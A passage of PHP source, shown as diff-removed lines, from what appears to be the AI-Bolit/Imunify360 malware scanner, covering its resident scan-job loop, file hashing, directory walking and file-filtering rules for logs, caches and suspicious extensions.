- $this->notify_jobs = glob($this->resident_in_dir . $pattern);
- if (!empty($this->notify_jobs)) {
- return true;
- }
- } else {
- return true;
- }
- }
- return false;
- }
- protected function isUploadJob()
- {
- if ($this->isJobFileExists('/upload-jobs/*.upload_job', self::JOB_UPLOAD)) {
- return true;
- }
- return false;
- }
- protected function scanJob($job_file, $type)
- {
- $start_time = microtime(true);
- $vars = new Variables();
- $vars->blacklist = $this->blacklist;
- $vars->maxMinUid = $type == 'notify' ? $this->maxMinUid : [];
- $vars->signs = $this->signs;
- $files_to_scan = array();
- $count = 0;
- $job = json_decode(file_get_contents($job_file));
- $file = basename($job_file);
- $this->debugLog("Job {$file} received from queue.");
- if ($type == 'notify') {
- $files_to_scan = $job->files;
- $count = count($files_to_scan);
- $this->debugLog("Job {$file}: notify. {$count} files to be scanned");
- if ($count > $this->max_files_per_notify_scan) {
- $this->debugLog("Job {$file}: Too many files to scan. Job skipped.");
- // TODO: show a warning: too many files to scan, the job was skipped
- return true;
- }
- if ($this->scannedNotify + $count > $this->max_files_per_notify_scan) {
- $this->scannedNotify = 0;
- unset($vars, $files_to_scan);
- return false;
- } else {
- $this->scannedNotify += $count;
- }
- } elseif ($type == 'upload') {
- $files_to_scan = $job->files;
- $count = count($files_to_scan);
- $this->debugLog("Job {$file}: upload. {$count} files to be scanned");
- if ($count > 1) {
- $this->debugLog("Job {$file}: Too many files to scan. Job skipped.");
- // TODO: show a warning: too many files to scan, the job was skipped
- return true;
- }
- }
- $vars->foundTotalFiles = $count;
- $scan = new Scanner($this->finder, $vars, $this->debug);
- if (method_exists($scan, 'QCR_GoScan')) {
- if ($this->systemd) {
- $scan->QCR_GoScan($files_to_scan, array($this, 'keepAlive'), true, false);
- } else {
- $scan->QCR_GoScan($files_to_scan, null, true, false);
- }
- $scan->whitelisting();
- }
- $scan_time = round(microtime(true) - $start_time, 1);
- $this->last_scan_time = time();
- $this->writeReport($vars, $scan_time, $type, $job_file);
- unset($vars, $files_to_scan, $scan);
- if (defined('PROGRESS_LOG_FILE') && file_exists(PROGRESS_LOG_FILE)) {
- @unlink(PROGRESS_LOG_FILE);
- }
- if (defined('CREATE_SHARED_MEMORY') && CREATE_SHARED_MEMORY) {
- shmop_delete(SHARED_MEMORY);
- }
- if (defined('SHARED_MEMORY')) {
- shmop_close(SHARED_MEMORY);
- }
- return true;
- }
- protected function isNotifyJob()
- {
- if ($this->isJobFileExists('/notify-jobs/*.notify_job', self::JOB_NOTIFY)) {
- return true;
- }
- return false;
- }
- protected function scanUploadJob()
- {
- if (!empty($this->upload_jobs)) {
- foreach ($this->upload_jobs as $index => $upload_job) {
- $this->scanJob($upload_job, 'upload');
- $file = basename($upload_job);
- $this->debugLog("Job {$file}: Removing job.");
- unlink($upload_job);
- unset($this->upload_jobs[$index]);
- }
- }
- }
- protected function scanNotifyJob()
- {
- if (!empty($this->notify_jobs)) {
- foreach ($this->notify_jobs as $index => $job) {
- $res = $this->scanJob($job, 'notify');
- if ($res) {
- $file = basename($job);
- $this->debugLog("Job {$file}: Removing job.");
- unlink($job);
- unset($this->notify_jobs[$index]);
- } else {
- break;
- }
- }
- }
- }
- public function keepAlive()
- {
- if ((int)((microtime(true) - $this->lastKeepAlive) * 1000000) > $this->interval / 2) {
- stream_get_contents($this->activation_socket);
- fwrite($this->watchdog_socket, 'WATCHDOG=1');
- $this->lastKeepAlive = microtime(true);
- }
- }
- protected function lifeCycle()
- {
- $this->debugLog("Starting resident-mode loop.");
- $this->last_scan_time = time();
- while (true) {
- if ($this->systemd) {
- $this->keepAlive();
- }
- while ($this->isUploadJob()) {
- $this->scanUploadJob();
- }
- while ($this->isNotifyJob() && !$this->isUploadJob()) {
- $this->scanNotifyJob();
- }
- if ($this->last_scan_time + $this->stay_alive < time()) {
- $this->debugLog("No more jobs. Shutting down.");
- break;
- }
- touch($this->aibolit_status_file);
- usleep($this->sleep_time); // 1/10 of second by default
- }
- if ($this->systemd) {
- fclose($this->watchdog_socket);
- fclose($this->activation_socket);
- }
- unlink($this->aibolit_status_file);
- }
- protected function debugLog($message)
- {
- if ($this->logger === null) {
- return;
- }
- $this->logger->debug($message);
- }
- }
- class DebugMode
- {
- private $debugMode = false;
- private $debugPerfomance = false;
- private $perfomance_stats = [];
- public function __construct($debugMode, $debugPerfomance)
- {
- $this->debugMode = $debugMode;
- $this->debugPerfomance = $debugPerfomance;
- }
- public function QCR_Debug($par_Str = "")
- {
- if ($this->debugMode) {
- return;
- }
- $l_MemInfo = ' ';
- if (function_exists('memory_get_usage')) {
- $l_MemInfo .= ' curmem=' . AibolitHelpers::bytes2Human(memory_get_usage());
- }
- if (function_exists('memory_get_peak_usage')) {
- $l_MemInfo .= ' maxmem=' . AibolitHelpers::bytes2Human(memory_get_peak_usage());
- }
- stdOut("\n" . date('H:i:s') . ': ' . $par_Str . $l_MemInfo . "\n");
- }
- public function getDebugMode()
- {
- return $this->debugMode;
- }
- public function getDebugPerfomance()
- {
- return $this->debugPerfomance;
- }
- public function addPerfomanceItem($item, $time)
- {
- $this->perfomance_stats[$item] = isset($this->perfomance_stats[$item]) ? $this->perfomance_stats[$item] + $time : 0;
- }
- public function printPerfomanceStats()
- {
- $keys = array_keys($this->perfomance_stats);
- for ($i = 0, $iMax = count($keys); $i < $iMax; $i++) {
- $this->perfomance_stats[$keys[$i]] = round($this->perfomance_stats[$keys[$i]] * 1000000);
- }
- arsort($this->perfomance_stats);
- foreach ($this->perfomance_stats as $r => $v) {
- echo $v . "\t\t" . $r . "\n";
- }
- }
- }
- class FileInfo
- {
- private $index = 0;
- private $inode = 0;
- private $filename = '';
- private $size = 0;
- private $created = 0;
- private $modified = 0;
- private $hash = 0;
- private $sha256 = 0;
- private $sha1file = 0;
- private $content = '';
- private $norm_content = '';
- private $is_binary = 0;
- private $hashtable = null;
- /**
- * @return int|string
- */
- public function getSha1file()
- {
- if ($this->sha1file == 0) {
- $this->sha1file = sha1_file($this->filename);
- }
- return $this->sha1file;
- }
- public function __construct($filename, $index, $hashtable = null)
- {
- $this->index = $index;
- $this->filename = $filename;
- $this->hashtable = $hashtable;
- }
- /**
- * @return bool
- */
- public function isBinary()
- {
- $header = '';
- if ($this->is_binary === 0) {
- if ($this->content == '') {
- $header = @file_get_contents($this->filename, false, null, 0, 4);
- } else {
- $header = substr($this->content, 0, 4);
- }
- if ($header === chr(127) . 'ELF') {
- $this->is_binary = true;
- } else {
- $this->is_binary = false;
- }
- unset($header);
- }
- return $this->is_binary;
- }
- /**
- * @return false|mixed|string
- */
- public function getContent()
- {
- if ($this->content == '') {
- $this->content = @file_get_contents($this->filename);
- }
- return $this->content;
- }
- /**
- * @return string
- */
- public function getContentWithoutSpaces($max_size = false)
- {
- if($this->norm_content !== '') {
- return $this->norm_content;
- }
- if (!$max_size) {
- $this->norm_content = Normalization::strip_whitespace($this->getContent());
- } else if(is_numeric($max_size)) {
- $this->norm_content = Normalization::strip_whitespace($this->getContentBytes($max_size));
- }
- return $this->norm_content;
- }
- public function getContentBytes($max_bytes)
- {
- if ($this->content == '') {
- $this->content = @file_get_contents($this->filename, false, null, 0, $max_bytes);
- }
- return $this->content;
- }
- /**
- * @param $text
- * @return string
- */
- private function _hash_($text)
- {
- static $r;
- if (empty($r)) {
- for ($i = 0; $i < 256; $i++) {
- if ($i < 33 or $i > 127) {
- $r[chr($i)] = '';
- }
- }
- }
- return sha1(strtr($text, $r));
- }
- /**
- * @return integer
- */
- public function getIndex()
- {
- return $this->index;
- }
- /**
- * @return string
- */
- public function getFilename()
- {
- return $this->filename;
- }
- private function _setStat()
- {
- $info = stat($this->filename);
- $this->size = $info['size'];
- $this->created = $info['ctime'];
- $this->modified = $info['mtime'];
- $this->inode = $info['ino'];
- }
- /**
- * @return int|mixed
- */
- public function getSize()
- {
- if ($this->size == 0) {
- $this->_setStat();
- }
- return $this->size;
- }
- /**
- * @return int|mixed
- */
- public function getInode()
- {
- if ($this->inode == 0) {
- $this->_setStat();
- }
- return $this->inode;
- }
- /**
- * @return int|mixed
- */
- public function getCreated()
- {
- if ($this->created == 0) {
- $this->_setStat();
- }
- return $this->created;
- }
- /**
- * @return int|mixed
- */
- public function getModified()
- {
- if ($this->modified == 0) {
- $this->_setStat();
- }
- return $this->modified;
- }
- /**
- * @return int|string
- */
- public function getHash()
- {
- if ($this->hash == 0) {
- $this->hash = $this->_hash_($this->getContentWithoutSpaces());
- }
- return $this->hash;
- }
- /**
- * @return int|string
- */
- public function getSha256()
- {
- if ($this->hashtable !== null && $this->hashtable->get($this->filename) !== false) {
- $this->sha256 = $this->hashtable->get($this->filename);
- }
- if ($this->sha256 == 0) {
- $this->sha256 = hash('sha256', $this->getContent());
- }
- return $this->sha256;
- }
- }
- class HashTable
- {
- private $hashes = [];
- public function add($paths, $hashes)
- {
- $this->hashes[0] = $paths;
- $this->hashes[1] = $hashes;
- }
- public function get($filename)
- {
- $index = array_search($filename, $this->hashes[0]);
- if ($index === false) {
- return false;
- }
- return $this->hashes[1][$index];
- }
- }
- class Finder
- {
- const MAX_ALLOWED_PHP_HTML_IN_DIR = 600;
- private $sym_links = [];
- private $skipped_folders = [];
- private $doorways = [];
- private $total_dir_counter = 0;
- private $total_files_counter = 0;
- private $checked_hashes = [];
- private $initial_dir = '';
- private $initial_level = null;
- private $level_limit = null;
- private $filter;
- public function __construct($filter = null, $level_limit = null)
- {
- $this->filter = $filter;
- $this->level_limit = $level_limit;
- }
- private function linkResolve($path)
- {
- return realpath($path);
- }
- private function resolve($path, $follow_symlinks)
- {
- if (!$follow_symlinks || !is_link($path)) {
- return $path;
- }
- return $this->linkResolve($path);
- }
- private function isPathCheckedAlready($path)
- {
- $root_hash = crc32($path);
- if (isset($this->checked_hashes[$root_hash])) {
- return true;
- }
- $this->checked_hashes[$root_hash] = '';
- return false;
- }
- private function walk($path, $follow_symlinks)
- {
- $level = substr_count($path, '/');
- if (isset($this->level_limit) && (($level - $this->initial_level + 1) > $this->level_limit)) {
- return;
- }
- $l_DirCounter = 0;
- $l_DoorwayFilesCounter = 0;
- if ($follow_symlinks && $this->isPathCheckedAlready($path)) {
- return;
- }
- # will not iterate dir, if it should be ignored
- if (!$this->filter->needToScan($path, false, true)) {
- $this->skipped_folders[] = $path;
- return;
- }
- $dirh = @opendir($path);
- if ($dirh === false) {
- return;
- }
- while (($entry = readdir($dirh)) !== false) {
- if ($entry == '.' || $entry == '..') {
- continue;
- }
- $entry = $path . DIRECTORY_SEPARATOR . $entry;
- if (is_link($entry)) {
- $this->sym_links[] = $entry;
- if (!$follow_symlinks) {
- continue;
- }
- $real_path = $this->resolve($entry, true);
- } else {
- $real_path = $entry;
- }
- if (is_dir($entry)) {
- $l_DirCounter++;
- if ($l_DirCounter > self::MAX_ALLOWED_PHP_HTML_IN_DIR) {
- $this->doorways[] = $path;
- $l_DirCounter = -655360;
- }
- $this->total_dir_counter++;
- yield from $this->walk($real_path, $follow_symlinks);
- } else if (is_file($entry)) {
- $stat = stat($entry);
- if (!$stat) {
- continue;
- }
- if (is_callable([$this->filter, 'checkShortExt']) && $this->filter->checkShortExt($entry)) {
- $l_DoorwayFilesCounter++;
- if ($l_DoorwayFilesCounter > self::MAX_ALLOWED_PHP_HTML_IN_DIR) {
- $this->doorways[] = $path;
- $l_DoorwayFilesCounter = -655360;
- }
- }
- if ($follow_symlinks && $this->isPathCheckedAlready($real_path)) {
- continue;
- }
- $need_to_scan = $this->filter->needToScan($real_path, $stat);
- if ($need_to_scan) {
- $this->total_files_counter++;
- yield $real_path;
- }
- }
- }
- closedir($dirh);
- }
- private function expandPath($path, $follow_symlinks)
- {
- if ($path) {
- if (is_dir($path)) {
- yield from $this->walk($path, $follow_symlinks);
- } else {
- $need_to_scan = $this->filter->needToScan($path);
- if ($need_to_scan) {
- yield $path;
- }
- }
- }
- }
- public function find($target)
- {
- if ($target === '/') {
- $target = '/*';
- }
- if (is_string($target) && substr($target, -1) == DIRECTORY_SEPARATOR) {
- $target = substr($target, 0, -1);
- }
- # We shouldn't use iglob for list of paths,
- # cause they cannot contain * or regexp
- # but can contain invalid sequence e.g. [9-0]
- if (is_callable([$this->filter, 'generateCheckers'])) {
- $this->filter->generateCheckers();
- }
- $paths = is_array($target) ? $target : new GlobIterator($target, FilesystemIterator::CURRENT_AS_PATHNAME);
- foreach ($paths as $path) {
- $this->initial_dir = realpath($path);
- $this->initial_level = substr_count($this->initial_dir, '/');
- $path = $this->linkResolve($path);
- yield from $this->expandPath($path, $this->filter->isFollowSymlink());
- }
- }
- private function convertTemplatesToRegexp($templates)
- {
- return '~(' . str_replace([',', '.', '*'], ['|', '\\.', '.*'], $templates) . ')~i';
- }
- public function setLevelLimit($level)
- {
- $this->level_limit = $level;
- }
- public function getSymlinks()
- {
- return $this->sym_links;
- }
- public function getDoorways()
- {
- return $this->doorways;
- }
- public function skippedDirs()
- {
- return $this->skipped_folders;
- }
- public function getTotalDirs()
- {
- return $this->total_dir_counter;
- }
- public function getTotalFiles()
- {
- return $this->total_files_counter;
- }
- }
- class FileFilter
- {
- const LOG_AND_MAIL_PATTERN = [
- '/sess\_\w*$',
- '/stat/usage\_\w+\.html',
- '/stat/site\_\w+\.html',
- '/webstat/awstats.*\.txt',
- '/awstats/awstats.*\.txt',
- '/awstats/.{1,80}\.pl',
- '/awstats/.{1,80}\.html',
- '/logs/error\_log\..*',
- '/logs/xferlog\..*',
- '/logs/access\_log\..*',
- '/domlogs/.+',
- '/logs/cron\..*',
- '/logs/exceptions/.+\.log(?:\.\d)?(?:\.gz)?$',
- '/mail(?:/[^/]+)*/[^,]+,S=[^,]+,W=.+',
- '/mail(?:/[^/]+)*/[^,]+,S=.+',
- '/mail(?:/[^/]+)*/storage/u\.[0-9]+',
- '/mail(?:/[^/]+)*/storage/m\.[0-9]+',
- '/Maildir(?:/[^/]+)*/[^,]+,S=[^,]+,W=.+',
- '/Maildir(?:/[^/]+)*/[^,]+,S=.+',
- '^/var/ossec/.*',
- ];
- const IMUNIFY_LOG_PATTERN = [
- '/var/log/imunify360/acronis-installer\.log$',
- '/var/log/imunify360/console\.log(?:\.\d)?(?:\.gz)?$',
- '/var/log/imunify360/debug\.log$',
- '/var/log/imunify360/error\.log$',
- '/var/log/install-mod\_remoteip\.log(?:\.\d{1.4})?(?:\.pid)?r$',
- '/var/log/imunify360/malware\_scan\_\d{10}\.log$',
- '/var/log/imunify360/network\.log$',
- '/var/log/imunify360/process\_message\.log$',
- '/var/log/imunify360-webshield/access.log(?:-\d{8})?(?:.gz)?$',
- '/var/log/imunify360-webshield/error.log(?:-\d{8})?(?:.gz)?$',
- '/.revisium_antivirus_cache/.revisium\d+/',
- '/admin/plib/modules/revisium-antivirus/library/externals/',
- ];
- const IMUNIFY_DIRS = [
- '/etc/cagefs/conf.d/ai-bolit.cfg',
- '/etc/cagefs/conf.d/clamav.cfg',
- '/etc/cagefs/exclude/imunify360',
- '/etc/chkserv.d/imunify-antivirus',
- '/etc/chkserv.d/imunify360-agent',
- '/etc/cron.daily/imunify-antivirus.cron',
- '/etc/cron.daily/imunify360.cron',
- '/etc/imunify360-webshield',
- '/etc/imunify360',
- '/etc/logrotate.d/imunify360',
- '/etc/nginx/conf.d/i360.remoteip.conf',
- '/etc/sysconfig/imunify360',
- '/opt/ai-bolit',
- '/opt/alt/python35/bin/imunify360-agent',
- '/opt/alt/python35/bin/imunify360-command-wrapper',
- '/opt/alt/python35/lib/python3.5/site-packages/defence360agent',
- '/opt/alt/python35/share/imunify360',
- '/run/chkservd/imunify360-webshield',
- '/run/chkservd/restart_track/imunify360-webshield',
- '/run/imunify360-webshield.pid',
- '/usr/bin/imunify-antivirus',
- '/usr/bin/imunify360-agent',
- '/usr/bin/imunify360-command-wrapper',
- '/usr/lib/systemd/system/imunify-antivirus.service',
- '/usr/lib/systemd/system/imunify360-pure.service',
- '/usr/lib/systemd/system/imunify360-webshield',
- '/usr/lib/systemd/system/imunify360.service',
- '/usr/local/cpanel/base/frontend/paper_lantern/imunify',
- '/usr/local/directadmin/plugins/Imunify',
- '/usr/sbin/imunify360-webshield',
- '/var/cache/imunify360-webshield',
- '/var/cpanel/apps',
- '/var/imunify360',
- '/var/log/cloudlinux-backup-util'
- ];
- const SHORT_LIST_EXT = [
- 'php',
- 'php3',
- 'php4',
- 'php5',
- 'php7',
- 'pht',
- 'html',
- 'htm',
- 'phtml',
- 'shtml',
- 'khtml',
- '',
- 'ico',
- 'txt'
- ];
- const SUSPICIOUS_EXT = [
- 'cgi',
- 'pl',
- 'o',
- 'so',
- 'py',
- 'sh',
- 'phtml',
- 'php3',
- 'php4',
- 'php5',
- 'php6',
- 'php7',
- 'pht',
- 'shtml'
- ];
- private $sensitiveExt = [
- 'php',
- 'js',
- 'json',
- 'htaccess',
- 'html',
- 'htm',
- 'tpl',
- 'inc',
- 'css',
- 'txt',
- 'sql',
- 'ico',
- '',
- 'susp',
- 'suspected',
- 'zip',
- 'tar'
- ];
- const SKIP_SMART_MASK = [
- '/template_\w{32}.css',
- '/cache/templates/.{1,150}\.tpl\.php',
- '/system/cache/templates_c/\w{1,40}\.php',
- '/assets/cache/rss/\w{1,60}',
- '/cache/minify/minify_\w{32}',
- '/cache/page/\w{32}\.php',
- '/cache/object/\w{1,10}/\w{1,10}/\w{1,10}/\w{32}\.php',
- '/cache/wp-cache-\d{32}\.php',
- '/cache/page/\w{32}\.php_expire',
- '/cache/page/\w{32}-cache-page-\w{32}\.php',
- '\w{32}-cache-com_content-\w{32}\.php',
- '\w{32}-cache-mod_custom-\w{32}\.php',
- '\w{32}-cache-mod_templates-\w{32}\.php',
- '\w{32}-cache-_system-\w{32}\.php',
- '/cache/twig/\w{1,32}/\d+/\w{1,100}\.php',
- '/autoptimize/js/autoptimize_\w{32}\.js',
- '/bitrix/cache/\w{32}\.php',
- '/bitrix/cache/.{1,200}/\w{32}\.php',
- '/bitrix/cache/iblock_find/',
- '/bitrix/managed_cache/MYSQL/user_option/[^/]+/',
- '/bitrix/cache/s1/bitrix/catalog\.section/',
- '/bitrix/cache/s1/bitrix/catalog\.element/',
- '/bitrix/cache/s1/bitrix/menu/',
- '/catalog.element/[^/]+/[^/]+/\w{32}\.php',
- '/bitrix/managed\_cache/.{1,150}/\.\w{32}\.php',
- '/core/cache/mgr/smarty/default/.{1,100}\.tpl\.php',
- '/core/cache/resource/web/resources/[0-9]{1,50}\.cache\.php',
- '/smarty/compiled/SC/.{1,100}/%%.{1,200}\.php',
- '/smarty/.{1,150}\.tpl\.php',
- '/smarty/compile/.{1,150}\.tpl\.cache\.php',
- '/files/templates_c/.{1,150}\.html\.php',
- '/uploads/javascript_global/.{1,150}\.js',
- '/assets/cache/rss/\w{32}',
- 'сore/cache/resource/web/resources/\d+\.cache\.php',
- '/assets/cache/docid_\d+_\w{32}\.pageCache\.php',
- '/t3-assets/dev/t3/.{1,150}-cache-\w{1,20}-.{1,150}\.php',
- '/t3-assets/js/js-\w{1,30}\.js',
- '/temp/cache/SC/.{1,100}/\.cache\..{1,100}\.php',
- '/tmp/sess\_\w{32}$',
- '/assets/cache/docid\_.{1,100}\.pageCache\.php',
- '/stat/usage\_\w{1,100}\.html',
- '/stat/site\_\w{1,100}\.html',
- '/gallery/item/list/\w{1,100}\.cache\.php',
- '/core/cache/registry/.{1,100}/ext-.{1,100}\.php',
- '/core/cache/resource/shk\_/\w{1,50}\.cache\.php',
- '/cache/\w{1,40}/\w+-cache-\w+-\w{32,40}\.php',
- '/webstat/awstats.{1,150}\.txt',
- '/awstats/awstats.{1,150}\.txt',
- '/awstats/.{1,80}\.pl',
- '/awstats/.{1,80}\.html',
- '/inc/min/styles_\w+\.min\.css',
- '/inc/min/styles_\w+\.min\.js',
- '/logs/error\_log\.', '/logs/xferlog\.',
- '/logs/access_log\.',
- '/logs/cron\.',
- '/logs/exceptions/.{1,200}\.log$',
- '/hyper-cache/[^/]{1,50}/[^/]{1,50}/[^/]{1,50}/index\.html',
- '/mail/new/[^,]+,S=[^,]+,W=',
- '/mail/new/[^,]=,S=',
- '/application/logs/\d+/\d+/\d+\.php',
- '/sites/default/files/js/js_\w{32}\.js',
- '/yt-assets/\w{32}\.css',
- '/wp-content/cache/object/\w{1,5}/\w{1,5}/\w{32}\.php',
- '/catalog\.section/\w{1,5}/\w{1,5}/\w{32}\.php',
- '/simpla/design/compiled/[\w\.]{40,60}\.php',
- '/compile/\w{2}/\w{2}/\w{2}/[\w.]{40,80}\.php',
- '/sys-temp/static-cache/[^/]{1,60}/userCache/[\w\./]{40,100}\.php',
- '/session/sess_\w{32}',
- '/webstat/awstats\.[\w\./]{3,100}\.html',
- '/stat/webalizer\.current',
- '/stat/usage_\d+\.html'
- ];
- private $ignoreExt = [];
- private $ignoreListPatterns = [];
- private $ignoreList = null;
- private $ignoreFilenameByRegexp = null;
- private $onlyFilepathRegexp = null;
- private $skipFilesOlder = null;
- private $initialDir = null;
- private $file_checkers = [];
- private $dir_checkers = [];
- private $excludes = [];
- private $check_is_not_root;
- private $check_is_not_system;
- private $check_is_file;
- private $ignore_quar;
- private $check_file_older;
- private $check_ignore_file;
- private $check_ignore_filename_template;
- private $check_only_filepath_template;
- private $check_scope;
- private $check_ext;
- private $ignore_ext;
- private $check_short_ext;
- private $ignore_path_pattern;
- private $skipRootOwner = false;
- private $skipSystemOwner = false;
- private $followSymlink = false;
- private $ignoreQuarantine = false;
- private $scanAllExt = false;
- private $smartScan = false;
- private $imunify_filters = false;
- private $ignored_av_admin = false;
- private $ignored_av_internal = false;
- private $admin_watched = false;
- private $ignore_symlink = true;
- private $match_patterns = [];
- private $no_match_patterns = [];
- private $ignored_av_admin_file = '/etc/sysconfig/imunify360/malware-filters-admin-conf/processed/ignored/av-admin.txt';
- private $ignored_av_internal_file = '/etc/sysconfig/imunify360/malware-filters-admin-conf/processed/ignored/av-internal.txt';
- private $admin_watched_file = '/etc/sysconfig/imunify360/malware-filters-admin-conf/admin/watched.txt';
- private $basedirs_file = '/etc/sysconfig/imunify360/malware-filters-admin-conf/processed/basedirs-list.txt';
- private function getIgnoredAVAdmin()
- {
- if (!$this->ignored_av_admin) {
- $this->ignored_av_admin = trim(file_get_contents($this->ignored_av_admin_file));
- }
- return $this->ignored_av_admin;
- }
- private function getIgnoredAVInternal()
- {
- if (!$this->ignored_av_internal) {
- $this->ignored_av_internal = trim(file_get_contents($this->ignored_av_internal_file));
- }
- return $this->ignored_av_internal;
- }
- private function getBaseDirs()
- {
- return file($this->basedirs_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
- }
- private function fixTrailingSlash($path)
- {
- if ($path[0] !== '/') {
- $path = '/' . $path;
- }
- return $path;
- }
- private function resolveBaseDirs($basedirs, $path)
- {
- $result = [];
- $tmp = substr($path, 1);
- $tmp = $this->fixTrailingSlash($tmp);
- foreach ($basedirs as $dir) {
- $result [] = $dir . $tmp;
- }
- return $result;
- }
- private function processWatchedItems($basedirs, $paths)
- {
- $result = [];
- foreach ($paths as $item) {
- $item = trim($item);
- if ($item[0] === '#') {
- continue;
- } else if ($item[0] === '+') {
- $result = array_merge($result, $this->resolveBaseDirs($basedirs, $item));
- } else {
- $result[] = $item;
- }
- }
- return $result;
- }
- private function getAdminWatched()
- {
- if (!$this->admin_watched) {
- $this->admin_watched = [];
- $basedirs = $this->getBaseDirs();
- $paths = file($this->admin_watched_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
- $this->admin_watched = $this->processWatchedItems($basedirs, $paths);
- }
- return $this->admin_watched;
- }
- public function setSmartScan()
- {
- $this->smartScan = true;
- }
- public function isSmartScan()
- {
- return $this->smartScan;
- }
- public function setImunifyFilters()
- {
- $this->imunify_filters = true;
- }
- public function setScanAll()
- {
- $this->scanAllExt = true;
- }
- public function setIgnoreExt($ext_list)
- {
- if (!$ext_list) {
- return;
- }
- $this->ignoreExt = explode(',', $ext_list);
- for ($i = 0, $iMax = count($this->ignoreExt); $i < $iMax; $i++) {
- $this->ignoreExt[$i] = trim($this->ignoreExt[$i]);
- }
- $this->ignoreExt = array_flip($this->ignoreExt);
- }
- public function setSensitiveExt($ext_list)
- {
- if (!$ext_list) {
- return;
- }
- $this->sensitiveExt = explode(",", $ext_list);
- for ($i = 0, $iMax = count($this->sensitiveExt); $i < $iMax; $i++) {
- if ($this->sensitiveExt[$i] == '.') {
- $this->sensitiveExt[$i] = '';
- }
- }
- $this->sensitiveExt = array_flip($this->sensitiveExt);
- }
- public function getSensitiveExt()
- {
- return array_flip($this->sensitiveExt);
- }
- public function setIgnoreListPatterns($filepath)
- {
- if (!file_exists($filepath) || !is_file($filepath) || !is_readable($filepath)) {
- return;
- }
- $this->ignoreListPatterns = [];
- $content = file_get_contents($filepath);
- $list = explode("\n", $content);
- foreach ($list as $pattern) {
- if (trim($pattern) == '') {
- continue;
- }
- $this->ignoreListPatterns[] = $pattern;
- }
- }
- public function __construct()
- {
- $this->sensitiveExt = array_merge($this->sensitiveExt, self::SUSPICIOUS_EXT);
- $this->sensitiveExt = array_flip($this->sensitiveExt);
- $this->ignore_quar = function ($file) {
- if (strpos($file, '/.imunify.quarantined') !== false) {
- $st = stat($file);
- if (!$st) {
- return false;
- }
- return $st['uid'] !== 0;
- }
- return true;
- };
- $this->ignore_excludes = function ($file) {
- $tree = $this->getTree($file);
- if ($this->pathRelatesTo($tree, $this->excludes)) {
- return false;
- }
- return true;
- };
- $this->check_file_older = function ($file) {
- return (@filemtime($file) > $this->skipFilesOlder) || (@filectime($file) > $this->skipFilesOlder);
- };
- $this->check_ignore_file = function ($file) {
- $tree = $this->getTree($file);
- if ($this->pathRelatesTo($tree, $this->ignoreList, true)) {
- return false;
- }
- return true;
- };
- $this->check_ignore_filename_template = function ($file) {
- return !preg_match($this->ignoreFilenameByRegexp, basename($file));
- };
- $this->check_only_filepath_template = function ($file) {
- return preg_match($this->onlyFilepathRegexp, $file);
- };
- $this->check_is_not_root = function ($file) {
- $stat = stat($file);
- return $stat['gid'] !== 0 && $stat['uid'] !== 0;
- };
- $this->check_is_not_system = function ($file) {
- $stat = stat($file);
- return ($stat['uid'] >= $this->skipSystemOwner[0] && $stat['uid'] <= $this->skipSystemOwner[1]);
- };
- $this->check_is_file = function ($file) {
- return is_file($file);
- };
- $this->check_file_patterns = function ($file) {
- foreach($this->match_patterns as $pattern) {
- $match = fnmatch($pattern, $file);
- if ($match) {
- return $match;
- }
- }
- return false;
- };
- $this->check_file_not_patterns = function ($file) {
- foreach($this->no_match_patterns as $pattern) {
- $match = fnmatch($pattern, $file);
- if ($match) {
- return !$match;
- }
- }
- return true;
- };
- $this->ignore_symlink = function ($file) {
- return !is_link($file);
- };
- $this->check_scope = function ($file) {
- return strpos($file, $this->initialDir) === 0;
- };
- $this->ignore_dots = function ($file) {
- return !($file == '.' || $file == '..');
- };
- $this->check_ext = function ($file) {
- if ($this->scanAllExt) {
- return true;
- }
- $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
- return isset($this->sensitiveExt[$ext]);
- };
- $this->ignore_ext = function ($file) {
- $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
- return !isset($this->ignoreExt[$ext]);
- };
- $this->check_short_ext = function ($file) {
- $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
- return in_array($ext, self::SHORT_LIST_EXT);
- };
- $this->ignore_path_pattern = function ($file) {
- foreach ($this->ignoreListPatterns as $pattern) {
- if (($pattern != '') && preg_match('#' . $pattern . '#', $file)) {
- return false;
- }
- }
- return true;
- };
- $this->imunify_filter = function ($file) {
- if (preg_match('~' . $this->getIgnoredAVAdmin() . '~msi', $file)) {
- return false;
- }
- if (preg_match('~' . $this->getIgnoredAVInternal() . '~msi', $file)) {
- foreach ($this->getAdminWatched() as $rec_watched) {
- if (fnmatch($rec_watched, $file)) {
- return true;
- }
- }
- return false;
- }
- return true;
- };
- $this->excludes = array_flip(self::IMUNIFY_DIRS);
- $this->file_checkers[] = $this->ignore_path_pattern;
- $this->file_checkers[] = $this->check_is_file;
- $this->file_checkers[] = $this->check_ext;
- $this->file_checkers[] = $this->ignore_excludes;
- $this->dir_checkers[] = $this->ignore_path_pattern;
- $this->dir_checkers[] = $this->ignore_excludes;
- $this->dir_checkers[] = $this->ignore_dots;
- }
- public function setIgnoreListFile($filepath)
- {
- if (!file_exists($filepath) || !is_file($filepath) || !is_readable($filepath)) {
- return;
- }
- $this->ignoreList = [];
- $content = file_get_contents($filepath);
- $list = explode("\n", $content);
- foreach ($list as $base64_filepath) {
- if ($base64_filepath !== '') {
- $this->ignoreList[$base64_filepath] = '';
- }
- }
- }
- public function setIgnoreFilenames($templates)
- {
- if (!$templates) {
- return;
- }
- $this->no_match_patterns = explode(',', $templates);
- for ($i = 0, $iMax = count($this->no_match_patterns); $i < $iMax; $i++) {
- $this->no_match_patterns[$i] = trim($this->no_match_patterns[$i]);
- }
- }
- public function setOnlyFilepaths($templates)
- {
- if (empty($templates)) {
- return;
- }
- $this->match_patterns = explode(',', $templates);
- for ($i = 0, $iMax = count($this->match_patterns); $i < $iMax; $i++) {
- $this->match_patterns[$i] = trim($this->match_patterns[$i]);
- }
- }
- public function setSkipFilesOlder($unix_timestamp)
- {
- $this->skipFilesOlder = $unix_timestamp;
- }
- public function setSkipRootOwner()
- {
- $this->skipRootOwner = true;
- }
- public function setSkipSystemOwner($min_max_uid)
- {
- if (is_array($min_max_uid)) {
- $this->skipSystemOwner = $min_max_uid;
- }
- }
- public function setFollowSymlink()
- {
- $this->followSymlink = true;
- }
- public function isFollowSymlink()
- {
- return $this->followSymlink;
- }
- public function setIgnoreQuarantine()
- {
- $this->ignoreQuarantine = true;
- }
- public function generateCheckers()
- {
